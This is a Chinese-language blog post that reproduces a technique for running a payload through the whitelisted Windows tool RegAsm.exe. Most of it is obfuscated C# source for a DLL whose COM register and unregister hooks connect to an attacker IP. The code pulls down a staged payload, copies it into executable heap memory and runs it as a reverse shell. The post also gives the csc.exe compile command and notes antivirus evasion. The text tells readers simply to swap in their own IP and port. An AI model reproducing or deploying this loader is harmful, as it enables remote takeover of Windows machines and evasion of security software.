0x00 Regasm简介

Regasm为程序集注册工具，读取程序集中的元数据，并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NETAssembly Registration Utility相关联

0x01 环境

攻击机kali 192.168.5.99
靶机win7 192.168.5.112
装有国内常见AV

0x02复现

攻击机配置监听
在这里插入图片描述
靶机运行

shell弹回

0x03 demo.cs

namespace HYlDKsYF
 {
	 public class kxKhdVzWQXolmmF : ServicedComponent {
		 public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); }
		 [ComRegisterFunction]
		 public static void RegisterClass ( string pNNHrTZzW )
		 {
			 ZApOAKJKY.QYJOTklTwn();
			 }
			 [ComUnregisterFunction]
			 public static void UnRegisterClass ( string pNNHrTZzW )
			 {
				 ZApOAKJKY.QYJOTklTwn();
				 }
				 }
				 public class ZApOAKJKY  { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
				 [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
				 [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
				 [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF,UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
				 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy,int iJGvqiEDGLhjr) {
					 IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy),iJGvqiEDGLhjr);
					 Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
					 try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
					 catch { return null;}
					 byte[] Bjpvhc = new byte[4];
					 MXCEuiuRIWgOYze.Receive(Bjpvhc,4,0);
int IETFBI = BitConverter.ToInt32(Bjpvhc,0);
byte[] ZKSAAFwxgSDnTW = new byte[IETFBI +5];
int JFPJLlk =0;
while(JFPJLlk < IETFBI)
{ JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk +5,(IETFBI - JFPJLlk)<4096 ? (IETFBI - JFPJLlk) : 4096,0);}
byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
Array.Copy(nXRztzNVwPavq,0, ZKSAAFwxgSDnTW,1,4); ZKSAAFwxgSDnTW[0]=0xBF;
return ZKSAAFwxgSDnTW;}
static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
	if(KNCtlJWAmlqJ !=null) {
		UInt32 uuKxFZFwog = HeapCreate(0x00040000,(UInt32)KNCtlJWAmlqJ.Length,0);
	UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog,0x00000008,(UInt32)KNCtlJWAmlqJ.Length);
	RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ,(UInt32)KNCtlJWAmlqJ.Length);
	UInt32 ijifOEfllRl =0;
	IntPtr ihXuoEirmz = CreateThread(0,0, sDPjIMhJIOAlwn, IntPtr.Zero,0, ref ijifOEfllRl);
	WaitForSingleObject(ihXuoEirmz,0xFFFFFFFF);}}
	
	public static void QYJOTklTwn() {
		byte[] ZKSAAFwxgSDnTW =null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.5.99",10129);
		TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
		} } }

dll文件生成

csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:jiu.dll  /unsafe C:\Users\Administrator\Desktop\demo.cs

在这里插入图片描述

0x04总结

依然替换IP和端口即可，某绒拦截。

0x05借鉴

https://github.com/Micropoor/Micro8/blob/master/第七十三课：基于白名单Regasm.exe执行payload第三季.pdf

对亮神基于白名单Regasm.Exe 执行 payload 第三季复现